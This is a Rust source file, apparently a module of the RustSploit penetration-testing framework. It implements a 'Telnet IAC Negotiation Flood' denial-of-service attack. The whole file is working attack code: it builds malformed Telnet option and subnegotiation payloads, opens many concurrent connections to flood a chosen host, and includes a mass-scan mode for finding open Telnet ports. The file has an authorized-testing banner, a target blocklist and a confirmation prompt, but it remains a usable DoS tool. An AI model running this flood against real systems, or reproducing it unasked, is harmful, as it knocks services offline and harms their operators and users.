mirror of
https://github.com/s-b-repo/rustsploit
synced 2026-06-27 09:54:12 +00:00
474 lines
15 KiB
Rust
474 lines
15 KiB
Rust
use anyhow::{anyhow, Result};
|
|
use colored::*;
|
|
use std::sync::atomic::{AtomicBool, AtomicU64, Ordering};
|
|
use std::sync::Arc;
|
|
use std::time::Duration;
|
|
use tokio::io::AsyncWriteExt;
|
|
use tokio::sync::Semaphore;
|
|
use tokio::time::Instant;
|
|
|
|
use crate::utils::{
|
|
cfg_prompt_default, cfg_prompt_port, cfg_prompt_required, cfg_prompt_yes_no,
|
|
normalize_target,
|
|
};
|
|
use crate::utils::{is_mass_scan_target, run_mass_scan, MassScanConfig};
|
|
use crate::utils::network::tcp_connect_str;
|
|
|
|
const IAC: u8 = 255;
|
|
const WILL: u8 = 251;
|
|
const WONT: u8 = 252;
|
|
const DO: u8 = 253;
|
|
const DONT: u8 = 254;
|
|
const SB: u8 = 250;
|
|
const SE: u8 = 240;
|
|
const NOP: u8 = 241;
|
|
|
|
const ECHO: u8 = 1;
|
|
const SGA: u8 = 3;
|
|
const TERMINAL_TYPE: u8 = 24;
|
|
const NAWS: u8 = 31;
|
|
const LINEMODE: u8 = 34;
|
|
const NEW_ENVIRON: u8 = 39;
|
|
const TERMINAL_SPEED: u8 = 32;
|
|
const X_DISPLAY: u8 = 35;
|
|
const ENVIRON: u8 = 36;
|
|
const STATUS: u8 = 5;
|
|
const TIMING_MARK: u8 = 6;
|
|
const BINARY: u8 = 0;
|
|
const AUTHENTICATION: u8 = 37;
|
|
const ENCRYPT: u8 = 38;
|
|
|
|
#[derive(Clone, Debug)]
|
|
struct FloodConfig {
|
|
target_host: String,
|
|
target_port: u16,
|
|
connections: usize,
|
|
mode: AttackMode,
|
|
duration_secs: u64,
|
|
verbose: bool,
|
|
}
|
|
|
|
#[derive(Clone, Debug)]
|
|
enum AttackMode {
|
|
WillDoStorm,
|
|
SubnegotiationBomb,
|
|
InterleavedNop,
|
|
Combined,
|
|
}
|
|
|
|
pub async fn run(initial_target: &str) -> Result<()> {
|
|
if is_mass_scan_target(initial_target) {
|
|
if crate::api::is_blocked_target(initial_target) {
|
|
crate::mprintln!("{}", format!("[!] Target {} is blocked (private/loopback/metadata address)", initial_target).red().bold());
|
|
return Ok(());
|
|
}
|
|
return run_mass_scan(
|
|
initial_target,
|
|
MassScanConfig {
|
|
protocol_name: "Telnet IAC Flood",
|
|
default_port: 23,
|
|
state_file: "telnet_iac_flood_mass_state.log",
|
|
default_output: "telnet_iac_flood_mass_results.txt",
|
|
default_concurrency: 200,
|
|
},
|
|
|ip: std::net::IpAddr, port: u16| async move {
|
|
if crate::utils::tcp_port_open(ip, port, Duration::from_secs(5)).await {
|
|
Some(format!("{}:{}\n", ip, port))
|
|
} else {
|
|
None
|
|
}
|
|
},
|
|
)
|
|
.await;
|
|
}
|
|
|
|
display_banner();
|
|
let config = gather_config(initial_target).await?;
|
|
execute_flood(config).await
|
|
}
|
|
|
|
fn display_banner() {
|
|
if crate::utils::is_batch_mode() { return; }
|
|
crate::mprintln!(
|
|
"{}",
|
|
r#"
|
|
╔══════════════════════════════════════════════════════════════╗
|
|
║ Telnet IAC Negotiation Flood ║
|
|
║ Exploits unbounded IAC SB/SE and WILL/DO processing ║
|
|
║ Targets: telnet daemons, bruteforce tools, honeypots ║
|
|
║ FOR AUTHORIZED TESTING ONLY ║
|
|
╚══════════════════════════════════════════════════════════════╝
|
|
"#
|
|
.red()
|
|
.bold()
|
|
);
|
|
}
|
|
|
|
async fn gather_config(initial_target: &str) -> Result<FloodConfig> {
|
|
crate::mprintln!("{}", "=== Configuration ===".bold());
|
|
|
|
let target_input = if initial_target.trim().is_empty() {
|
|
cfg_prompt_required("target", "Target Host/IP").await?
|
|
} else {
|
|
crate::mprintln!("{}", format!("[*] Using target: {}", initial_target).cyan());
|
|
initial_target.to_string()
|
|
};
|
|
|
|
let normalized = normalize_target(&target_input)?;
|
|
|
|
// P1-4: refuse (or force explicit authorization for) DoS against
|
|
// private / loopback / cloud-metadata addresses.
|
|
crate::utils::network::assert_dos_target_authorized(&normalized).await?;
|
|
|
|
let target_host = if let Some((h, _)) = normalized.split_once(':') {
|
|
h.to_string()
|
|
} else {
|
|
normalized
|
|
};
|
|
|
|
let target_port = cfg_prompt_port("port", "Target port", 23).await?;
|
|
|
|
let mode_input = cfg_prompt_default(
|
|
"mode",
|
|
"Attack mode (1=WILL/DO storm, 2=SB bomb, 3=NOP interleave, 4=combined)",
|
|
"4",
|
|
)
|
|
.await?;
|
|
let mode = match mode_input.trim() {
|
|
"1" => AttackMode::WillDoStorm,
|
|
"2" => AttackMode::SubnegotiationBomb,
|
|
"3" => AttackMode::InterleavedNop,
|
|
_ => AttackMode::Combined,
|
|
};
|
|
|
|
let conn_input = cfg_prompt_default("connections", "Concurrent connections", "100").await?;
|
|
let connections: usize = conn_input
|
|
.parse()
|
|
.map_err(|_| anyhow!("Invalid connection count"))?;
|
|
if connections == 0 {
|
|
return Err(anyhow!("Connection count must be > 0"));
|
|
}
|
|
|
|
let dur_input = cfg_prompt_default("duration", "Duration (seconds)", "120").await?;
|
|
let duration_secs: u64 = dur_input
|
|
.parse()
|
|
.map_err(|_| anyhow!("Invalid duration"))?;
|
|
if duration_secs == 0 {
|
|
return Err(anyhow!("Duration must be > 0"));
|
|
}
|
|
|
|
let verbose = cfg_prompt_yes_no("verbose", "Verbose output?", false).await?;
|
|
|
|
crate::mprintln!("\n{}", "=== Attack Configuration ===".bold());
|
|
crate::mprintln!(" Target: {}:{}", target_host, target_port);
|
|
crate::mprintln!(" Mode: {:?}", mode);
|
|
crate::mprintln!(" Connections: {}", connections);
|
|
crate::mprintln!(" Duration: {}s", duration_secs);
|
|
|
|
if !cfg_prompt_yes_no("confirm", "\nProceed with attack?", true).await? {
|
|
return Err(anyhow!("Attack cancelled by user"));
|
|
}
|
|
|
|
Ok(FloodConfig {
|
|
target_host,
|
|
target_port,
|
|
connections,
|
|
mode,
|
|
duration_secs,
|
|
verbose,
|
|
})
|
|
}
|
|
|
|
fn build_will_do_storm() -> Vec<u8> {
|
|
let options: &[u8] = &[
|
|
ECHO,
|
|
SGA,
|
|
TERMINAL_TYPE,
|
|
NAWS,
|
|
LINEMODE,
|
|
NEW_ENVIRON,
|
|
TERMINAL_SPEED,
|
|
X_DISPLAY,
|
|
ENVIRON,
|
|
STATUS,
|
|
TIMING_MARK,
|
|
BINARY,
|
|
AUTHENTICATION,
|
|
ENCRYPT,
|
|
];
|
|
|
|
let mut buf = Vec::with_capacity(options.len() * 6);
|
|
for &opt in options {
|
|
buf.extend_from_slice(&[IAC, WILL, opt]);
|
|
buf.extend_from_slice(&[IAC, DO, opt]);
|
|
}
|
|
for &opt in options {
|
|
buf.extend_from_slice(&[IAC, WONT, opt]);
|
|
buf.extend_from_slice(&[IAC, DONT, opt]);
|
|
}
|
|
for &opt in options {
|
|
buf.extend_from_slice(&[IAC, WILL, opt]);
|
|
buf.extend_from_slice(&[IAC, DO, opt]);
|
|
}
|
|
buf
|
|
}
|
|
|
|
fn build_sb_bomb() -> Vec<u8> {
|
|
let mut buf = Vec::with_capacity(8192);
|
|
|
|
// SB frame with no SE terminator — forces parser to scan entire buffer
|
|
buf.extend_from_slice(&[IAC, SB, TERMINAL_TYPE, 0]);
|
|
buf.extend(std::iter::repeat(b'A').take(4000));
|
|
|
|
// Nested IAC bytes that aren't followed by SE — confuses parsers
|
|
for _ in 0..100 {
|
|
buf.extend_from_slice(&[IAC, IAC]);
|
|
}
|
|
|
|
// Another unterminated SB for a different option
|
|
buf.extend_from_slice(&[IAC, SB, NEW_ENVIRON, 0]);
|
|
buf.extend(std::iter::repeat(b'B').take(2000));
|
|
|
|
// A valid-looking but massive NAWS SB (normally 5 bytes, here 1000+)
|
|
buf.extend_from_slice(&[IAC, SB, NAWS]);
|
|
buf.extend(std::iter::repeat(0xFF).take(1000));
|
|
|
|
// Sprinkle in a few valid-looking SE-terminated frames so parsers can't
|
|
// simply reject everything — they must parse each SB/SE boundary.
|
|
for &opt in &[ECHO, SGA, LINEMODE] {
|
|
buf.extend_from_slice(&[IAC, SB, opt, 1]);
|
|
buf.extend(std::iter::repeat(b'C').take(200));
|
|
buf.push(IAC);
|
|
buf.push(SE);
|
|
}
|
|
|
|
buf
|
|
}
|
|
|
|
fn build_nop_interleave() -> Vec<u8> {
|
|
let mut buf = Vec::with_capacity(6000);
|
|
|
|
// Rapid IAC NOP flood — each one forces the parser through the IAC state machine
|
|
for _ in 0..1000 {
|
|
buf.extend_from_slice(&[IAC, NOP]);
|
|
}
|
|
|
|
// Interleave WILL/DO between NOPs so the peer must generate responses
|
|
for &opt in &[ECHO, SGA, TERMINAL_TYPE, NAWS, LINEMODE, NEW_ENVIRON] {
|
|
for _ in 0..50 {
|
|
buf.extend_from_slice(&[IAC, NOP, IAC, WILL, opt, IAC, NOP, IAC, DO, opt]);
|
|
}
|
|
}
|
|
|
|
buf
|
|
}
|
|
|
|
fn build_combined_payload() -> Vec<u8> {
|
|
let mut buf = Vec::with_capacity(16384);
|
|
buf.extend_from_slice(&build_will_do_storm());
|
|
buf.extend_from_slice(&build_sb_bomb());
|
|
buf.extend_from_slice(&build_nop_interleave());
|
|
|
|
// Close with a rapid option toggle — forces repeated state changes
|
|
for cycle in 0..20u8 {
|
|
let opt = (cycle % 14) + 1;
|
|
buf.extend_from_slice(&[IAC, WILL, opt, IAC, WONT, opt, IAC, DO, opt, IAC, DONT, opt]);
|
|
}
|
|
|
|
buf
|
|
}
|
|
|
|
async fn flood_worker(
|
|
config: FloodConfig,
|
|
conn_id: usize,
|
|
stop: Arc<AtomicBool>,
|
|
bytes_sent: Arc<AtomicU64>,
|
|
connections_opened: Arc<AtomicU64>,
|
|
errors: Arc<AtomicU64>,
|
|
semaphore: Arc<Semaphore>,
|
|
) {
|
|
let payload = match config.mode {
|
|
AttackMode::WillDoStorm => build_will_do_storm(),
|
|
AttackMode::SubnegotiationBomb => build_sb_bomb(),
|
|
AttackMode::InterleavedNop => build_nop_interleave(),
|
|
AttackMode::Combined => build_combined_payload(),
|
|
};
|
|
|
|
let addr = format!("{}:{}", config.target_host, config.target_port);
|
|
|
|
while !stop.load(Ordering::Relaxed) {
|
|
let _permit = match semaphore.acquire().await {
|
|
Ok(p) => p,
|
|
Err(_) => break,
|
|
};
|
|
|
|
let stream = match tcp_connect_str(&addr, Duration::from_secs(5)).await {
|
|
Ok(s) => s,
|
|
Err(e) => {
|
|
errors.fetch_add(1, Ordering::Relaxed);
|
|
if config.verbose {
|
|
crate::meprintln!("\n[!] conn {} connect error: {}", conn_id, e);
|
|
}
|
|
drop(_permit);
|
|
tokio::time::sleep(Duration::from_millis(100)).await;
|
|
continue;
|
|
}
|
|
};
|
|
|
|
connections_opened.fetch_add(1, Ordering::Relaxed);
|
|
|
|
let (_, mut writer) = tokio::io::split(stream);
|
|
|
|
// Send payload in a loop until the connection drops or we're stopped
|
|
let mut rounds = 0u64;
|
|
loop {
|
|
if stop.load(Ordering::Relaxed) {
|
|
break;
|
|
}
|
|
|
|
match writer.write_all(&payload).await {
|
|
Ok(()) => {
|
|
bytes_sent.fetch_add(payload.len() as u64, Ordering::Relaxed);
|
|
rounds += 1;
|
|
}
|
|
Err(_) => {
|
|
break;
|
|
}
|
|
}
|
|
|
|
// Small delay so we don't just fill the kernel send buffer and block
|
|
if rounds % 10 == 0 {
|
|
tokio::time::sleep(Duration::from_millis(5)).await;
|
|
}
|
|
}
|
|
|
|
drop(_permit);
|
|
}
|
|
}
|
|
|
|
async fn execute_flood(mut config: FloodConfig) -> Result<()> {
|
|
crate::mprintln!(
|
|
"\n{}",
|
|
"[*] Starting Telnet IAC flood...".yellow().bold()
|
|
);
|
|
|
|
// P2: each held telnet connection consumes a file descriptor. Raise
|
|
// RLIMIT_NOFILE / NPROC and clamp the connection count so the operator
|
|
// can't run their own host out of FDs.
|
|
let (clamped, _) = crate::native::network::ensure_dos_capacity(
|
|
"telnet_iac_flood",
|
|
config.connections,
|
|
1,
|
|
);
|
|
config.connections = clamped;
|
|
|
|
let stop_flag = Arc::new(AtomicBool::new(false));
|
|
let bytes_sent = Arc::new(AtomicU64::new(0));
|
|
let connections_opened = Arc::new(AtomicU64::new(0));
|
|
let errors = Arc::new(AtomicU64::new(0));
|
|
let semaphore = Arc::new(Semaphore::new(config.connections));
|
|
let start_time = Instant::now();
|
|
let duration = Duration::from_secs(config.duration_secs);
|
|
|
|
let mut handles = Vec::with_capacity(config.connections);
|
|
|
|
for conn_id in 0..config.connections {
|
|
let cfg = config.clone();
|
|
let stop = stop_flag.clone();
|
|
let sent = bytes_sent.clone();
|
|
let opened = connections_opened.clone();
|
|
let errs = errors.clone();
|
|
let sem = semaphore.clone();
|
|
|
|
handles.push(tokio::spawn(async move {
|
|
flood_worker(cfg, conn_id, stop, sent, opened, errs, sem).await;
|
|
}));
|
|
}
|
|
|
|
crate::mprintln!("{}", "[*] Flood running!".green().bold());
|
|
|
|
let stats_stop = stop_flag.clone();
|
|
let stats_sent = bytes_sent.clone();
|
|
let stats_opened = connections_opened.clone();
|
|
let stats_errors = errors.clone();
|
|
let stats_task = tokio::spawn(async move {
|
|
while !stats_stop.load(Ordering::Relaxed) {
|
|
tokio::time::sleep(Duration::from_secs(2)).await;
|
|
let sent = stats_sent.load(Ordering::Relaxed);
|
|
let opened = stats_opened.load(Ordering::Relaxed);
|
|
let errs = stats_errors.load(Ordering::Relaxed);
|
|
let elapsed = start_time.elapsed().as_secs();
|
|
let rate_mbps = if elapsed > 0 {
|
|
(sent as f64 / (1024.0 * 1024.0)) / elapsed as f64
|
|
} else {
|
|
0.0
|
|
};
|
|
|
|
crate::mprint!(
|
|
"\r{}",
|
|
format!(
|
|
"[*] Sent: {:>10} bytes ({:.2} MB/s) | Conns: {:>6} | Errors: {:>6} | Elapsed: {}s ",
|
|
sent, rate_mbps, opened, errs, elapsed
|
|
)
|
|
.dimmed()
|
|
);
|
|
let _ = std::io::Write::flush(&mut std::io::stdout());
|
|
}
|
|
});
|
|
|
|
tokio::time::sleep(duration).await;
|
|
stop_flag.store(true, Ordering::SeqCst);
|
|
|
|
for handle in handles {
|
|
let _ = tokio::time::timeout(Duration::from_secs(5), handle).await;
|
|
}
|
|
stats_task.abort();
|
|
|
|
let total_sent = bytes_sent.load(Ordering::Relaxed);
|
|
let total_conns = connections_opened.load(Ordering::Relaxed);
|
|
let total_errs = errors.load(Ordering::Relaxed);
|
|
let elapsed = start_time.elapsed().as_secs_f64();
|
|
|
|
crate::mprintln!("\n\n{}", "=== Results ===".bold());
|
|
crate::mprintln!(
|
|
" {} Total bytes sent: {} ({:.2} MB)",
|
|
"[+]".green(),
|
|
total_sent,
|
|
total_sent as f64 / (1024.0 * 1024.0)
|
|
);
|
|
crate::mprintln!(
|
|
" {} Connections opened: {}",
|
|
"[+]".green(),
|
|
total_conns
|
|
);
|
|
crate::mprintln!(" {} Errors: {}", "[*]".cyan(), total_errs);
|
|
crate::mprintln!(
|
|
" {} Duration: {:.1}s",
|
|
"[*]".cyan(),
|
|
elapsed
|
|
);
|
|
if elapsed > 0.0 {
|
|
crate::mprintln!(
|
|
" {} Avg throughput: {:.2} MB/s",
|
|
"[*]".cyan(),
|
|
(total_sent as f64 / (1024.0 * 1024.0)) / elapsed
|
|
);
|
|
}
|
|
|
|
Ok(())
|
|
}
|
|
|
|
pub fn info() -> crate::module_info::ModuleInfo {
|
|
crate::module_info::ModuleInfo {
|
|
name: "Telnet IAC Negotiation Flood".to_string(),
|
|
description: "Exploits unbounded IAC subnegotiation (SB without SE) and rapid WILL/DO option cycling to exhaust CPU and memory on telnet daemons, bruteforce tools, and honeypots. Four modes: WILL/DO storm, SB decompression bomb, NOP interleave, and combined.".to_string(),
|
|
authors: vec!["RustSploit Contributors".to_string()],
|
|
references: vec![
|
|
"RFC 854 — Telnet Protocol".to_string(),
|
|
"RFC 855 — Telnet Option Specifications".to_string(),
|
|
],
|
|
disclosure_date: None,
|
|
rank: crate::module_info::ModuleRank::Normal,
|
|
}
|
|
}
|